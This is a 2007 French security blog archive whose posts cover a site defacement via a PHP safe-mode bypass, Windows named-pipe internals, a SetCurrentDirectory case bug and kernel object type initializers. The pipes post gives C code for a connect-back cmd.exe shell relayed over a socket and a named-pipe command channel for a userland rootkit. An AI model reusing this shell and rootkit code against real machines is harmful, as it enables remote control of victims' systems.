Archive for octobre, 2007

Pwned ?

Voilà, je me suis fait owned par des branleurs. Tout ca parceque j’ai critiqué leur pauvre zine pourrit, ils l’ont mal prit et decidé d’utilisé la faille PHP <= 4.4.7 / 5.2.3 MySQL/MySQLi Safe Mode Bypass Vulnerability paru sur milworm sur le server perso145-g5.free.fr de free. Cette faille permet de dump le contenu d’un fichier de n’importe quelle account. Ils ont donc récupérer le wp-config.php à la racine et se sont connecté à la database SQL pour ajouter un post. Ca aurait pu être plus méchant, je le reconnais. Un pote m’avait sortit le contenu de mon wp-config.php il y a un mois avec cette faille, vive free … Voici ce qu’ils ont laissé sur ma page d’aceuil :
Ivanpwned
::PH34R:: Les hackers …

En tout cas, j’en ai profité pour changer d’hébergeur et passé chez tuxfamily.org. J’ai vraiment été bien acceuillit chez eux (merci à gradator) et puis je suis sur d’être secure, à moins qu’il traine un 0day sur la dernière version de WordPress ou que tuxfamily soit vuln ….
Le contenu de ce blog est dorénavant sous license CC-BY-SA. Hé oui, un Windowsien qui fait du libre, c’est rare :]

Dans l’affaire, j’ai perdu les comments des 4 derniers post, je m’en excuse, mais free.fr à faillit défoncer toute ma database SQL, ca m’apprendra à pas faire des backups toutes les semaines … je vous invite en tout cas à les reposter, si vous en avez le courage, je pense surtout au pauvre Martin dont la sagesse si grande est tombé dans l’oubli à cause d’un DROP TABLE foireux, ouinnz.

Donc l’url du blog devient http://ivanlef0u.tuxfamily.org, mettez un jour vos rss. Je vais vois si je peux obtenir un nom de domaine genre un ivanlef0u.fr ou ivanlef0u.com. Le repository reste sur free à l’adresse http://ivanlef0u.free.fr/repo.

34 comments octobre 29th, 2007

Playing with Pipes

Il existe encore dans la scène-fr des gars qui continuent de sortir des zines, le dernier en date est le cPc (Chemical Phreakers Crew), zine orienté phreaking/drugs, ermm comme dirait certains. Je dirais juste que voir des scan de VMB ne me fait plus autant d’effet qu’avant, c’est peut être parce que leurs auteurs sont des ganja-men de 16 ans faisant des soirée CosPlay-VisualKei-SM avec Bancal et pas foutu de sortir quelque chose de bien formater que ca me faire rire :] Au moins Rafale fait quelque chose de correct et d’intéressant. Bon finit de troller, aujourd’hui on va jouer avec une feature de win utilisé peut souvent utiliser par les codeurs mais qui peut s’avérer vraiment pratique, les pipes (heu prononcez à l’anglaise !)

Les pipes sont des objets servant à la communication interprocessus de manière bidirectionnelle, ils se comportent comme des fichiers, c’est à dire qu’on peut écrire et lire dedans avec des API comme ReadFile et WriteFile. Il existe 2 types de pipes, les anonymous-pipe qui servent en générale à rediriger les handles d’entrées/sorties d’un process fils vers ceux voulu par le process père. On les crée avec la fonction CreatePipe. De l’autre coté, on retrouve les named-pipes qui sont des objets de communication globaux pouvant être accédé par n’importe quel processus (évidemment il y a des ACL dessus), ils servent nottament pour les RPC (Remote Procedure Call).

Quelques mots sur l’implémentation des pipes. Ceux-ci se fonctionnent grâce à aux driver npfs.sys qui est implémenté de la même façon qu’un driver de filesystem. Voici les MajorFunctions gérés par le driver \filesystem\npfs.

kd> !drvobj \filesystem\npfs 3
Driver object (80d6d208) is for:
 \FileSystem\Npfs
Driver Extension List: (id , addr)

Device Object list:
80e20208  

DriverEntry:   faa606d3	Npfs!GsDriverEntry
DriverStartIo: 00000000	
DriverUnload:  faa5e41e	Npfs!NpfsUnload
AddDevice:     00000000	

Dispatch routines:
[00] IRP_MJ_CREATE                      faa5b6e8	Npfs!NpFsdCreate
[01] IRP_MJ_CREATE_NAMED_PIPE           faa5bc50	Npfs!NpFsdCreateNamedPipe
[02] IRP_MJ_CLOSE                       faa5b182	Npfs!NpFsdClose
[03] IRP_MJ_READ                        faa5e778	Npfs!NpFsdRead
[04] IRP_MJ_WRITE                       faa5fd96	Npfs!NpFsdWrite
[05] IRP_MJ_QUERY_INFORMATION           faa5cc54	Npfs!NpFsdQueryInformation
[06] IRP_MJ_SET_INFORMATION             faa5ccb8	Npfs!NpFsdSetInformation
[07] IRP_MJ_QUERY_EA                    804f3520	nt!IopInvalidDeviceRequest
[08] IRP_MJ_SET_EA                      804f3520	nt!IopInvalidDeviceRequest
[09] IRP_MJ_FLUSH_BUFFERS               faa5ceb4	Npfs!NpFsdFlushBuffers
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    faa5fb1e	Npfs!NpFsdQueryVolumeInformation
[0b] IRP_MJ_SET_VOLUME_INFORMATION      804f3520	nt!IopInvalidDeviceRequest
[0c] IRP_MJ_DIRECTORY_CONTROL           faa5c5b4	Npfs!NpFsdDirectoryControl
[0d] IRP_MJ_FILE_SYSTEM_CONTROL         faa5e3c8	Npfs!NpFsdFileSystemControl
[0e] IRP_MJ_DEVICE_CONTROL              804f3520	nt!IopInvalidDeviceRequest
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     804f3520	nt!IopInvalidDeviceRequest
[10] IRP_MJ_SHUTDOWN                    804f3520	nt!IopInvalidDeviceRequest
[11] IRP_MJ_LOCK_CONTROL                804f3520	nt!IopInvalidDeviceRequest
[12] IRP_MJ_CLEANUP                     faa5b08e	Npfs!NpFsdCleanup
[13] IRP_MJ_CREATE_MAILSLOT             804f3520	nt!IopInvalidDeviceRequest
[14] IRP_MJ_QUERY_SECURITY              faa5eda0	Npfs!NpFsdQuerySecurityInfo
[15] IRP_MJ_SET_SECURITY                faa5ee04	Npfs!NpFsdSetSecurityInfo
[16] IRP_MJ_POWER                       804f3520	nt!IopInvalidDeviceRequest
[17] IRP_MJ_SYSTEM_CONTROL              804f3520	nt!IopInvalidDeviceRequest
[18] IRP_MJ_DEVICE_CHANGE               804f3520	nt!IopInvalidDeviceRequest
[19] IRP_MJ_QUERY_QUOTA                 804f3520	nt!IopInvalidDeviceRequest
[1a] IRP_MJ_SET_QUOTA                   804f3520	nt!IopInvalidDeviceRequest
[1b] IRP_MJ_PNP                         804f3520	nt!IopInvalidDeviceRequest

Fast I/O routines:
FastIoRead                              faa5e820	Npfs!NpFastRead
FastIoWrite                             faa5fe40	Npfs!NpFastWrite

La fonction importante est NpFsdCreateNamedPipe qui est appelé lorsque le driver reçoit un IRP de type IRP_MJ_CREATE_NAMED_PIPE, c’est IRP est forgé par la fonction native NtCreateNamedPipeFile dont le prototype est :

NTSTATUS
NtCreateNamedPipeFile (
     __out PHANDLE FileHandle,
     __in ULONG DesiredAccess,
     __in POBJECT_ATTRIBUTES ObjectAttributes,
     __out PIO_STATUS_BLOCK IoStatusBlock,
     __in ULONG ShareAccess,
     __in ULONG CreateDisposition,
     __in ULONG CreateOptions,
     __in ULONG NamedPipeType,
     __in ULONG ReadMode,
     __in ULONG CompletionMode,
     __in ULONG MaximumInstances,
     __in ULONG InboundQuota,
     __in ULONG OutboundQuota,
     __in_opt PLARGE_INTEGER DefaultTimeout
     )

/*++

Routine Description:

    Creates and opens the server end handle of the first instance of a
    specific named pipe or another instance of an existing named pipe.

Arguments:

    FileHandle - Supplies a handle to the file on which the service is being
        performed.

    DesiredAccess - Supplies the types of access that the caller would like to
        the file.

    ObjectAttributes - Supplies the attributes to be used for file object
        (name, SECURITY_DESCRIPTOR, etc.)

    IoStatusBlock - Address of the caller's I/O status block.

    ShareAccess - Supplies the types of share access that the caller would
        like to the file.

    CreateDisposition - Supplies the method for handling the create/open.

    CreateOptions - Caller options for how to perform the create/open.

    NamedPipeType - Type of named pipe to create (Bitstream or message).

    ReadMode - Mode in which to read the pipe (Bitstream or message).

    CompletionMode - Specifies how the operation is to be completed.

    MaximumInstances - Maximum number of simultaneous instances of the named
        pipe.

    InboundQuota - Specifies the pool quota that is reserved for writes to the
        inbound side of the named pipe.

    OutboundQuota - Specifies the pool quota that is reserved for writes to
        the inbound side of the named pipe.

    DefaultTimeout - Optional pointer to a timeout value that is used if a
        timeout value is not specified when waiting for an instance of a named
        pipe.

Return Value:

    The function value is the final status of the create/open operation.

--*/

En fait, il est possible d’énumérer sans problème les pipes existant, il suffit d’ouvrir un handle avec CreateFile sur le dossier \\.\Pipe\ puis d’énumérer son contenu avec une API comme NtQueryDirectoryFile avec le FileInformationClass sur FileDirectoryInformation. C’est ce que fait le tool « pipelist » de sysinternals.

Alors j’ai dit qu’il existait des anonymous-pipes, or l’api NtCreateNamedPipeFile demande un paramètre ObjectAttributes avec un nom pour de pipe, WTF. Si on disass la fonction CreatePipe de kernel32 on peut voir :

kernel32!CreatePipe+0x4a:
7c81e111 64a118000000    mov     eax,dword ptr fs:[00000018h] ; eax=TEB
7c81e117 681849887c      push    offset kernel32!PipeSerialNumber (7c884918)
7c81e11c 8bf8            mov     edi,eax
7c81e11e e843b6feff      call    kernel32!InterlockedIncrement (7c809766)
7c81e123 50              push    eax 						; PipeSerialNumber+1
7c81e124 ff7720          push    dword ptr [edi+20h] ; PID
7c81e127 8d85f8feffff    lea     eax,[ebp-108h]
7c81e12d 6858e2817c      push    offset kernel32!`string' (7c81e258) ; !
7c81e132 50              push    eax
7c81e133 ff15d013807c    call    dword ptr [kernel32!_imp__sprintf (7c8013d0)]

0:000> db 7c81e258
7c81e258  5c 44 65 76 69 63 65 5c-4e 61 6d 65 64 50 69 70  \Device\NamedPip
7c81e268  65 5c 57 69 6e 33 32 50-69 70 65 73 2e 25 30 38  e\Win32Pipes.%08
7c81e278  78 2e 25 30 38 78 00 56-e8 0c 00 00 00 8b d8 e9  x.%08x.

Alors comme on peut le voir un anonymous device sera nommé de la manière suivante \Device\NamedPipe\Win32Pipes.%08x.%08x, le premier %08x provient du « push dword ptr [edi+20h] » avec edi pointant sur le TEB, dans le TEB en 0×20 on trouve le PID du process. Le second %08x est un compteur PipeSerialNumber qui est incrémenté à chaque appel sur CreatePipe. On se retrouve donc au moment du sprintf avec par exemple la stack :

0012EC10   0012EC6C  |s = 0012EC6C
0012EC14   7C81E258  |format = "\Device\NamedPipe\Win32Pipes.%08x.%08x"
0012EC18   00000778  |<%08x> = 778 <- PID
 0012EC1C   00000001  \<%08x> = 1 <- PipeSerialNumber 
 

Sinon pour jouer un peu, il est possible de voir la création des pipes sur votre OS. Pour cela, demandez à votre KD de mettre un BP sur votre VM au boot en faisant : Debug->Kernel Connection->Cycle Initial Break puis entrez la commande suivante : bp nt!NtCreateNamedPipeFile "!process -1 0; !thread; dS poi(poi(esp+C)+8);g" Vous allez pouvoir suivre quels process et thread créent des pipes sur le l'OS. C'est pratique quand on veut savoir la provenance de l'un d'entre eux :]

Enfin, une fonction comme ConnectNamedPipe qui attend qu'un client se connecte au pipe, communique au driver npfs à travers des IOCTL envoyé par la fonction NtFsControlFile et gérer par la MajorFunction NpFsdFileSystemControl. Voici la liste des IOCTL que peut recevoir le driver npfs extrait de ntifs.h du WDK :

//
// External named pipe file control operations
//

#define FSCTL_PIPE_ASSIGN_EVENT             CTL_CODE(FILE_DEVICE_NAMED_PIPE, 0, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define FSCTL_PIPE_DISCONNECT               CTL_CODE(FILE_DEVICE_NAMED_PIPE, 1, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define FSCTL_PIPE_LISTEN                   CTL_CODE(FILE_DEVICE_NAMED_PIPE, 2, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define FSCTL_PIPE_PEEK                     CTL_CODE(FILE_DEVICE_NAMED_PIPE, 3, METHOD_BUFFERED, FILE_READ_DATA)
#define FSCTL_PIPE_QUERY_EVENT              CTL_CODE(FILE_DEVICE_NAMED_PIPE, 4, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define FSCTL_PIPE_TRANSCEIVE               CTL_CODE(FILE_DEVICE_NAMED_PIPE, 5, METHOD_NEITHER,  FILE_READ_DATA | FILE_WRITE_DATA)
#define FSCTL_PIPE_WAIT                     CTL_CODE(FILE_DEVICE_NAMED_PIPE, 6, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define FSCTL_PIPE_IMPERSONATE              CTL_CODE(FILE_DEVICE_NAMED_PIPE, 7, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define FSCTL_PIPE_SET_CLIENT_PROCESS       CTL_CODE(FILE_DEVICE_NAMED_PIPE, 8, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define FSCTL_PIPE_QUERY_CLIENT_PROCESS     CTL_CODE(FILE_DEVICE_NAMED_PIPE, 9, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define FSCTL_PIPE_GET_PIPE_ATTRIBUTE       CTL_CODE(FILE_DEVICE_NAMED_PIPE, 10, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define FSCTL_PIPE_SET_PIPE_ATTRIBUTE       CTL_CODE(FILE_DEVICE_NAMED_PIPE, 11, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define FSCTL_PIPE_GET_CONNECTION_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 12, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define FSCTL_PIPE_SET_CONNECTION_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 13, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define FSCTL_PIPE_GET_HANDLE_ATTRIBUTE     CTL_CODE(FILE_DEVICE_NAMED_PIPE, 14, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define FSCTL_PIPE_SET_HANDLE_ATTRIBUTE     CTL_CODE(FILE_DEVICE_NAMED_PIPE, 15, METHOD_BUFFERED, FILE_ANY_ACCESS)

Maintenant, finit de décrire et passons un peu à l'action. On commence avec un premier exemple de l'utilisation des anonymous-pipes, un simple shell en connect-back. On va crée un cmd.exe et rediriger ses I/O vers le socket, d'habitude on bind direct le socket sur l'I/O du process cmd.exe, ca marche, mais ce n'est pas vraiment propre, disons que pour une shellcode c'est bien. Cette fois-ci on va respecter la msdn en utilisant des pipes. Pensons un peu (whinelol?), il existe 3 types d'I/O provenant d'un process, StdIn, StdOut et StdErr. Sachant que lorsque qu'on appel CreatePipe, celle-ci nous renvoie 2 handles :

BOOL CreatePipe(
  PHANDLE hReadPipe,
  PHANDLE hWritePipe,
  LPSECURITY_ATTRIBUTES lpPipeAttributes,
  DWORD nSize
);

Un handle pour lire le contenu du pipe (hReadPipe) puis un autre pour écrire dedans (hWritePipe). On va alors besoin de 2 pipes pour notre process, un pipe qui recevra les sorties StdOut et StdErr (hChildStdoutWr) qu'on lira par la suite avec ReadFile de l'autre coté (ChildStdoutRd). Un autre qui servira à envoyer des commandes au shell (hChildStdinRd), on écrira dedans avec WriteFile (hChildStdinWr). Il faut aussi considérer le fait que les pipes sont représenté sous forme d'handle sur des fichiers, ce qui signifie que les handles des pipes crée dans le process parent ne sont pas valide dans le contexte du process fils (les handles sont unique à chaque process). Pour faire simple on va utiliser la notion d'héritage des handles, le process fils va hériter de 2 handles, celui qui va récupérer la sortie et celui qui enverra nos commandes. On va aussi empêcher les handles hChildStdoutRd et hChildStdinWr d'être hérité par le process fils en utilisant SetHandleInformation, le process fils n'en ayant pas besoin. Hop voici le code :

// Set the bInheritHandle flag so pipe handles are inherited.
saAttr.nLength=sizeof(SECURITY_ATTRIBUTES);
saAttr.bInheritHandle=TRUE;
saAttr.lpSecurityDescriptor=NULL;

// Create a pipe for the child process's STDOUT.
if(!CreatePipe(&hChildStdoutRd, &hChildStdoutWr, &saAttr, 0))
	printf("Error while creating Stdout pipe : %d\n", GetLastError());

// Ensure the read handle to the pipe for STDOUT is not inherited.
SetHandleInformation(hChildStdoutRd, HANDLE_FLAG_INHERIT, 0);

// Create a pipe for the child process's STDIN.
if(!CreatePipe(&hChildStdinRd, &hChildStdinWr, &saAttr, 0))
	printf("Error while creating Stdin pipe : %d\n", GetLastError());

// Ensure the write handle to the pipe for STDIN is not inherited.
SetHandleInformation(hChildStdinWr, HANDLE_FLAG_INHERIT, 0);

// Now create the child process.
fSuccess=CreateChildProcess();
if(!fSuccess)
	printf("Error with CreateChildProcess : %d\n", GetLastError());

Pour crée le process fils il suffit de remplir la structure STARTUP_INFORMATION de cette manière :

// Set up members of the STARTUPINFO structure.
ZeroMemory(&siStartInfo, sizeof(STARTUPINFO));
siStartInfo.cb=sizeof(STARTUPINFO);
siStartInfo.hStdError=hChildStdoutWr;
siStartInfo.hStdOutput=hChildStdoutWr;
siStartInfo.hStdInput=hChildStdinRd;
siStartInfo.dwFlags|=STARTF_USESTDHANDLES;

Après c'est simple pour relayer les commandes il suffit de faire :

while(1)
{
	//lecture de la sortie du process
	memset(msg, 0, sizeof(msg));
	
	//sans le sleep, le process child n'a pas le tps de tout écrire dans hChildStdoutWr
	//autre solution ??? need help ...
	Sleep(300);
	if(!ReadFile(hChildStdoutRd, msg, sizeof(msg), &n, NULL) || n==0)
	{	
		break;
	}
	
	send(sock, msg, n, 0);
	if(n==0)
		break;
	
	//reception des commandes
	memset(msg, 0, sizeof(msg));
	n=recv(sock, msg, sizeof(msg), 0);
	if(n==0 || strcmp(msg, "exit\n")==0)
		break;
	
	if(!WriteFile(hChildStdinWr, msg, n, &n, NULL))
	{	
		break;
	}
}

ref:

Voila un exemple d'utilisation pratique des anonymous-pipes. Maintenant allons un peu plus loin.

Imaginez un rootkit uniquement userland installé sur une machine. Il utilise l'API SetWindowsHookEx pour injecter des dll dans tout les process possédant une GUI qui va cacher les fichiers/clés dans le registre/connexions/processus/dlls. La dll va vérifier dans quelle process elle se fait charger, dans le cas ou elle se trouve dans un process réseau comme un browser, un msnmsgr.exe, voir même un steam.exe, elle renvoie un shell de connect back sur une liste d'ip, s'arrêtant dès qu'une connexion est établie. Evidement, une bonne partie des firewalls arrivent à voir se genre de tentative, l'injection de la dll+la création du cmd.exe n'étant pas très furtif mais passons outre cela et mettons nous à la place de l'attaquant.

L'attaquant de son coté recoit un shell, ok cool lol, il peut faire quasiment tout ce qu'il veut sur l'OS de la victime. Maintenant, imaginons qu'il est besoin de communiquer avec son rootkit, hummm. Vous allez me dire, izi, on fait comme les barbus, on crée un socket local qui servira à recevra les commandes. Sous Win, il y un mieux, les named-pipes. Cette fois ci notre rk va crée un pipe accessible à tous les process avec l'API CreateNamedPipe. J'ai juste reprit et modifié l'exemple de la msdn du "Multithreaded Pipe Server". Comme vous pouvez le voir le code est simple il suffit de créé le Pipe et de crée un thread pour traité la requête :

LPSTR lpszPipename="\\\\\\.\\\\pipe\\\\tapz"; 

// The main loop creates an instance of the named pipe and 
// then waits for a client to connect to it. When the client 
// connects, a thread is created to handle communications 
// with that client, and the loop is repeated. 

for(;;) 
{ 
	hPipe=CreateNamedPipe( 
	lpszPipename,             // pipe name 
	PIPE_ACCESS_DUPLEX,       // read/write access 
	PIPE_TYPE_MESSAGE |       // message type pipe 
	PIPE_READMODE_MESSAGE |   // message-read mode 
	PIPE_WAIT,                // blocking mode 
	PIPE_UNLIMITED_INSTANCES, // max. instances  
	BUFSIZE,                  // output buffer size 
	BUFSIZE,                  // input buffer size 
	NMPWAIT_USE_DEFAULT_WAIT, // client time-out 
	NULL);                    // default security attribute 

	if(hPipe==INVALID_HANDLE_VALUE) 
	{
		printf("CreatePipe failed"); 
		return 0;
	}

	// Wait for the client to connect; if it succeeds, 
	// the function returns a nonzero value. If the function
	// returns zero, GetLastError returns ERROR_PIPE_CONNECTED. 
	
	fConnected=ConnectNamedPipe(hPipe, NULL) ? TRUE:(GetLastError()==ERROR_PIPE_CONNECTED); 

	if(fConnected) 
	{ 
		// Create a thread for this client. 
		hThread=CreateThread( 
		NULL,              // no security attribute 
		0,                 // default stack size 
		(LPTHREAD_START_ROUTINE)InstanceThread, 
		(LPVOID) hPipe,    // thread parameter 
		0,                 // not suspended 
		&dwThreadId);      // returns thread ID 
		
		if(hThread==NULL) 
		{
			printf("CreateThread failed"); 
			return 0;
		}
		else 
			CloseHandle(hThread); 
	} 
	else 
	// The client could not connect, so close the pipe. 
	CloseHandle(hPipe); 
} 

Maintenant, l'attaquant a toujours son shell CB sur la b0x et peut envoyer des commandes au rk simplement en faisant :

C:\ProgHack\c\pipes>echo rofl >> \\.\pipe\tapz

Et la c'est la grande classe, le rk n'a plus qu'a traité le message et faire le boulot. C'est encore plus simple et plus discret que d'ouvrir une socket en écoute local. Avec cette méthode on commander notre rk en direct et surtout sans avoir besoin d'autres tools, juste le shell de win suffit.

Bon je m'arrête la concernant l'utilisation des pipes, il doit avoir plein d'autres choses sympa à faire. Moi j'ai trouvé un moyen simple et efficace de communiquer avec mon rk. Avant je trickais avec des fichiers .ini et des clés dans le registres, pas super pratique n'y très joli.

Il doit certainement rester plein de choses à faire avec les pipes, dans le cas présent je ne communique dans un sens, je n'ai pas de réponse du rk. Il doit exister des methodes afin d'avoir une sortie dans le shell simplement, a voir ...

Voici les codes que j'ai utilisé :
http://ivanlef0u.fr/repo/pipes.rar

ref :

http://en.wikipedia.org/wiki/Named_pipe

http://msdn2.microsoft.com/en-us/library/aa365137.aspx

Windows Internals
Chapter 13. Networking -> Networking APIs -> Named Pipes and Mailslots
et Named Pipe and Mailslot Implementation

http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/redirection.mspx?mfr=true

1 comment octobre 28th, 2007

Void

Un post pour donner quelques nouvelles, en ce moment je code surtout des projets perso que je ne pense pas release, ou du moins pas dans l’immédiat. En fait je suis plus dans une phase creuse dans laquelle peu d’idées intéressantes me viennent à l’esprit. Si vous avez des suggestions, n’hésitez pas à les laisser en comments, par contre ne venez pas me demander de jouer avec du vista 32 ou 64 bits ou d’autres trucs weird.

Je voudrais aussi dire que j’ai finis mon article pour le prochain Misc qui devrait sortir début novembre dans le cadre du dossier « Exploitation noyau » et je vous promets que vous allez aimer :] En tout cas Fred le trouve pas mal, ce qui est déjà bien pour une première. Soyez patient !

Sinon, si vous vous ennuyez vraiment, il existe un bug d’implémentation dans l’API SetCurrentDirectory qui ne gère pas la casse. Par exemple, si il existe 2 dossiers nommés « TAPZ » et « tapz » et que vous faites un SetCurrentDirectory(« c:\\TAPZ »); la fonction prendra en compte le dossier tapz. Je vous donne un code pour jouer avec :

#include <stdio.h>
#include <windows.h>

int main(){
	char cd[MAX_PATH]="";

	if(!SetCurrentDirectory("c:\\\\TAPZ\\\\"))
	{
		printf("Error with SetCurrentDirectory : %dn", GetLastError());
		return 0;
	}

	if(!GetCurrentDirectory(sizeof(cd), cd))
	{
		printf("Error with GetCurrentDirectory : %dn", GetLastError());
		return 0;
	}

	printf("%s", cd);
	return 0;
}

Le premier qui me trouve un moyen d’exploitation avec un exemple concret gagne 2 boites de chocapicz ! (ouais je sais c’est nul comme truc et tout, mais comprenez que je garde les meilleures choses pour moi).

Enfin rumeurs, rumeurs, peut-être que le zine de blackclowns va sortir prochainement, d’après mes infos il ne manquerait plus grand chose à sa finition.

Add comment octobre 21st, 2007

Object Type Initializers

En lisant encore et toujours le dernier Uninformed, je me suis dit qu’on pourrait faire un truc cool avec les Object type Initializers. Dans le cas de Uninformed ils s’en servent pour exécuter un code arbitraire en ring0. Je ne propose rien de révolutionnaire, mais je voudrais exposer une autre idée peut-être plus évidente et pratique.

L’Object Type Initializer est une structure globale associé à chaque objet en fonction de son type. La structure OBJECT_TYPE est pointé par le champ Type de l’OBJECT_HEADER. Pour illustrer voici un petit exemple avec le device \device\HardDiskVolume1 qui est associé au SymbolicLink C:

kd> !object \\device\\harddiskvolume1
Object: 80ec9bb8  Type: (80ee83b0) Device
    ObjectHeader: 80ec9ba0 (old version)
    HandleCount: 0  PointerCount: 9
    Directory Object: e1007820  Name: HarddiskVolume1
   
kd> dt nt!_OBJECT_HEADER 80ec9ba0
   +0x000 PointerCount     : 9
   +0x004 HandleCount      : 0
   +0x004 NextToFree       : (null)
   +0x008 Type             : 0x80ee83b0 _OBJECT_TYPE
   +0x00c NameInfoOffset   : 0x20 ' '
   +0x00d HandleInfoOffset : 0 ''
   +0x00e QuotaInfoOffset  : 0 ''
   +0x00f Flags            : 0x16 ''
   +0x010 ObjectCreateInfo : 0x00000001 _OBJECT_CREATE_INFORMATION
   +0x010 QuotaBlockCharged : 0x00000001
   +0x014 SecurityDescriptor : (null)
   +0x018 Body             : _QUAD

Ici, l’OBJECT_TYPE est en 0x80ee83b0, hop on dump son contenu :

kd> dt nt!_OBJECT_TYPE 0x80ee83b0
   +0x000 Mutex            : _ERESOURCE
   +0x038 TypeList         : _LIST_ENTRY [ 0x80f1fb48 - 0xffbdf4c0 ]
   +0x040 Name             : _UNICODE_STRING "Device"
   +0x048 DefaultObject    : 0x8055ff40
   +0x04c Index            : 0x19
   +0x050 TotalNumberOfObjects : 0xd3
   +0x054 TotalNumberOfHandles : 0
   +0x058 HighWaterNumberOfObjects : 0xd3
   +0x05c HighWaterNumberOfHandles : 1
   +0x060 TypeInfo         : _OBJECT_TYPE_INITIALIZER
   +0x0ac Key              : 0x69766544
   +0x0b0 ObjectLocks      : [4] _ERESOURCE

Le champ Name de la structure OBJECT_TYPE confirme que notre objet est bien un Device. Ce qui nous intéresse est le champ TypeInfo qui est de type OBJECT_TYPE_INITIALIZER :

  
kd> dt nt!_OBJECT_TYPE_INITIALIZER 0x80ee83b0+60
   +0x000 Length           : 0x4c
   +0x002 UseDefaultObject : 0x1 ''
   +0x003 CaseInsensitive  : 0x1 ''
   +0x004 InvalidAttributes : 0x100
   +0x008 GenericMapping   : _GENERIC_MAPPING
   +0x018 ValidAccessMask  : 0x1f01ff
   +0x01c SecurityRequired : 0 ''
   +0x01d MaintainHandleCount : 0 ''
   +0x01e MaintainTypeList : 0x1 ''
   +0x020 PoolType         : 0 ( NonPagedPool )
   +0x024 DefaultPagedPoolCharge : 0
   +0x028 DefaultNonPagedPoolCharge : 0xe8
   +0x02c DumpProcedure    : (null)
   +0x030 OpenProcedure    : (null)
   +0x034 CloseProcedure   : (null)
   +0x038 DeleteProcedure  : 0x8059f6fd     void  nt!IopDeleteDevice+0
   +0x03c ParseProcedure   : 0x805704ed     long  nt!IopParseDevice+0
   +0x040 SecurityProcedure : 0x8059b35e     long  nt!IopGetSetSecurityObject+0
   +0x044 QueryNameProcedure : (null)
   +0x048 OkayToCloseProcedure : (null)

On remarque que cette structure contient un ensemble de handlers qui sont appelés en fonction des opérations réalisées sur l’objet. Par exemple IopParseDevice permet à l’I/O Manager de parser le nom de l’objet lors d’une demande d’ouverture de handle sur un device. L’I/O Manager va regarder avec cette routine si le device existe bien dans l’Object NameSpace \device et retrouver le pointeur pour sur le device. Par exemple si vous ouvrer un handle sur C:\tapz.txt, le SymbolicLink vous envoie sur \Device\HardDiskVolume1 à travers ObpParseSymbolicLink et IopParseDevice va retrouver le pointeur sur l’objet device dans l’ObjectDirectory \device.

Juste pour info voici le prototype de IopParseDevice.

NTSTATUS
IopParseDevice(
    IN PVOID ParseObject,
    IN PVOID ObjectType,
    IN PACCESS_STATE AccessState,
    IN KPROCESSOR_MODE AccessMode,
    IN ULONG Attributes,
    IN OUT PUNICODE_STRING CompleteName,
    IN OUT PUNICODE_STRING RemainingName,
    IN OUT PVOID Context OPTIONAL,
    IN PSECURITY_QUALITY_OF_SERVICE SecurityQos OPTIONAL,
    OUT PVOID *Object
    )

/*++

Routine Description:

    This routine interfaces to the NT Object Manager.  It is invoked when
    the object system is given the name of an entity to create or open and the
    name translates to a device object.  This routine is specified as the parse
    routine for all device objects.

    In the normal case of an NtCreateFile, the user specifies either the name
    of a device or of a file.  In the former situation, this routine is invoked
    with a pointer to the device and a null ("") string.  For this case, the
    routine simply allocates an IRP, fills it in, and passes it to the driver
    for the device.  The driver will then perform whatever rudimentary functions
    are necessary and will return a status code indicating whether an error was
    incurred.  This status code is remembered in the Open Packet (OP).

    In the latter situation, the name string to be opened/created is non-null.
    That is, it contains the remainder of the pathname to the file that is to
    be opened or created.  For this case, the routine allocates an IRP, fills
    it in, and passes it to the driver for the device.  The driver may then
    need to take further action or it may complete the request immediately.  If
    it needs to perform some work asynchronously, then it can queue the request
    and return a status of STATUS_PENDING.  This allows this routine and its
    caller to return to the user so that he can continue.  Otherwise, the open/
    create is basically finished.

    If the driver supports symbolic links, then it is also possible for the
    driver to return a new name.  This name will be returned to the Object
    Manager as a new name to look up.  The parsing will then begin again from
    the start.

    It is also the responsibility of this routine to create a file object for
    the file, if the name specifies a file.  The file object's address is
    returned to the NtCreateFile service through the OP.

Arguments:

    ParseObject - Pointer to the device object the name translated into.

    ObjectType - Type of the object being opened.

    AccessState - Running security access state information for operation.

    AccessMode - Access mode of the original caller.

    Attributes - Attributes to be applied to the object.

    CompleteName - Complete name of the object.

    RemainingName - Remaining name of the object.

    Context - Pointer to an Open Packet (OP) from NtCreateFile service.

    SecurityQos - Optional security quality of service indicator.

    Object - The address of a variable to receive the created file object, if
        any.

Return Value:

    The function return value is one of the following:

        a)  Success - This indicates that the function succeeded and the object
            parameter contains the address of the created file object.

        b)  Error - This indicates that the file was not found or created and
            no file object was created.

        c)  Reparse - This indicates that the remaining name string has been
            replaced by a new name that is to be parsed.

--*/

En général voici le cheminement de l’appel à partir d’un CreateFileW sur n’importe quel fichier.

kd> kv
ChildEBP RetAddr  Args to Child              
f744eb3c 8056356c 80df2cf8 00000000 80ebc4b8 nt!IopParseDevice (FPO: [Non-Fpo])
f744ebc4 8056769a 00000000 f744ec04 00000040 nt!ObpLookupObjectName+0x56a (FPO: [Non-Fpo])
f744ec18 80570f03 00000000 00000000 44ed3001 nt!ObOpenObjectByName+0xeb (FPO: [Non-Fpo])
f744ec94 80570fd2 0120f85c c0100080 0120f7fc nt!IopCreateFile+0x407 (FPO: [Non-Fpo])
f744ecf0 80571108 0120f85c c0100080 0120f7fc nt!IoCreateFile+0x8e (FPO: [Non-Fpo])
f744ed30 804de7ec 0120f85c c0100080 0120f7fc nt!NtCreateFile+0x30 (FPO: [Non-Fpo])
f744ed30 7c91eb94 0120f85c c0100080 0120f7fc nt!KiFastCallEntry+0xf8 (FPO: [0,0] TrapFrame @ f744ed64)
